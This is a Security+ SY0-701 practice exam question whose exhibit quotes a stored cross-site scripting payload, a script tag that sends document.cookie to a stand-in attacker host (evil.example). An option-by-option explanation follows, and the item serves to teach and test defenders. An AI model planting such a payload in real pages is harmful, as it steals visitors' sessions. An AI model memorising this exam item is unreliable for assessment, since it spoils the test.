Threats, Vulnerabilities, and Mitigations →mediumMultiple ChoiceObjective-mapped

SY0-701 Threats, Vulnerabilities, and Mitigations Practice Question

Exhibit

Support ticket excerpt:

A customer posted the following in a public product review field:
<script>fetch('https://evil.example/steal?c='+document.cookie)</script>

The same script later appeared in the review page for other visitors, and the security team found several unexpected requests to the attacker-controlled domain.

Based on the exhibit, what vulnerability is the application most likely suffering from?

⚠ Common exam trap

CompTIA often tests the distinction between stored XSS and reflected XSS, where candidates may confuse the persistence of the payload (stored) with the immediate reflection of input (reflected), or they may incorrectly associate cookie exfiltration with command injection rather than client-side scripting.

Answer choices

Why each option matters

Answer the question above first, then reveal the full breakdown to understand why each option is right or wrong.

Correct answer & explanation

✓

Stored cross-site scripting, because attacker-controlled script is saved and later rendered to other users.

The application stores user-supplied input in a review field and later renders it to other users without proper sanitization. The exhibit shows a script tag attempting to exfiltrate cookies to a remote host, which is a classic stored cross-site scripting (XSS) payload. Because the malicious script is persisted on the server and executed in the browsers of subsequent visitors, the vulnerability is stored XSS.

Answer analysis

Option-by-option breakdown

For each option: why learners choose it and why it is or isn't the right answer here.

✓
Stored cross-site scripting, because attacker-controlled script is saved and later rendered to other users.
Why this is correct
Stored cross-site scripting is correct because the malicious script was submitted once, saved by the application, and then executed for other visitors when the review was displayed. The evidence of requests to the attacker domain confirms that the browser executed the injected script and exposed user data.
✗
Command injection, because the script attempts to send cookies to a remote host.
Why it's wrong here
Command injection targets server-side interpreters or shells via unsanitized input concatenated into system commands. In the exhibit, the malicious payload executes in the visitor's browser, sending cookies to an attacker-controlled domain—a client-side behavior. The server itself never executes OS commands, so classifying this as command injection confuses the execution context (browser vs. server) and the target (user session vs. system shell).
✗
Session fixation, because users saw the same review page after posting.
Why it's wrong here
Session fixation requires an attacker to set or predetermine a victim's session ID before authentication, then hijack the session after login. The exhibit shows a stored script that executes for every viewer, not a mechanism that forces a chosen session token. The observation that users see the same review page simply reflects that the content is stored server-side and rendered identically; it does not involve session management or token manipulation.
✗
Insecure deserialization, because the payload is embedded in a review field.
Why it's wrong here
Insecure deserialization occurs when an application deserializes untrusted object streams, leading to RCE, path traversal, or other server-side flaws. Here the payload is a script string embedded in a review field and stored in a database; the application likely renders it as HTML/JavaScript on page load. No serialized object format (e.g., YAML, JSON, pickle, PHP objects) is parsed, so the vulnerability is a web injection (stored XSS), not deserialization of attacker-controlled data structures.

Go deeper

SY0-701 Threats, Vulnerabilities, and Mitigations Practice Question

Exhibit

Why each option matters

Option-by-option breakdown

Related to this question